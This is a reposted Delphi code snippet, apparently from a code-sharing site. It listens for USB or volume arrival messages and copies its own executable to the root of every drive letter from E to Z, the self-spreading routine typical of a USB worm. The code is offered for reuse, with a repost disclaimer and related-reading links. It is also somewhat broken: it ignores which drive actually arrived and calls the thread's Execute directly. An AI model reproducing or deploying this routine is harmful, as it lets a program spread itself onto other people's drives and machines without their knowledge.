本文整理自网络,侵删。
unit Unit1;
interface
uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type TForm1 = class(TForm) private procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE; public { Public declarations } end;type TCopyItself = class(TThread) Msg: TMessage; procedure Execute; override; end;
var Form1: TForm1;
const DBT_DEVICEARRIVAL = $00008000; DBT_DEVICEREMOVECOMPLETE = $00008004; DBT_DEVTYP_VOLUME = $00000002;
// Device structstype _DEV_BROADCAST_HDR = packed record dbch_size: DWORD; dbch_devicetype: DWORD; dbch_reserved: DWORD; end; DEV_BROADCAST_HDR = _DEV_BROADCAST_HDR; TDevBroadcastHeader = DEV_BROADCAST_HDR; PDevBroadcastHeader = ^TDevBroadcastHeader;
type _DEV_BROADCAST_VOLUME = packed record dbch_size: DWORD; dbch_devicetype: DWORD; dbch_reserved: DWORD; dbcv_unitmask: DWORD; dbcv_flags: WORD; end; DEV_BROADCAST_VOLUME = _DEV_BROADCAST_VOLUME; TDevBroadcastVolume = DEV_BROADCAST_VOLUME; PDevBroadcastVolume = ^TDevBroadcastVolume;
implementation
{$R *.dfm}
{ TForm1 }
procedure TForm1.WMDeviceChange(var Msg: TMessage);var CopyItself1: TCopyItself;begin inherited; CopyItself1 := TCopyItself.Create(True); CopyItself1.Msg := Msg; CopyItself1.FreeOnTerminate:=True; CopyItself1.Suspended:=False; CopyItself1.Execute;end;
{ TCopyItself }
procedure TCopyItself.Execute;const DBT_DEVICEARRIVAL = $8000; // system detected a new device DBT_DEVTYP_VOLUME = $0002; DBT_DEVICEREMOVECOMPLETE = $8004; // device is gonevar I: Integer; DriveLetter: char; lpdbhHeader: PDevBroadcastHeader;begin inherited; lpdbhHeader:=PDevBroadcastHeader(Msg.lParam); case Msg.wParam of DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE: begin Sleep(3500); for I := 69 to 90 do begin // to 90 DriveLetter:=Chr(i); if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true); end; end; end; end;end;
end.//该代码片段来自于: http://www.sharejs.com/codes/delphi/8443
相关阅读 >>
更多相关阅读请进入《Delphi》频道 >>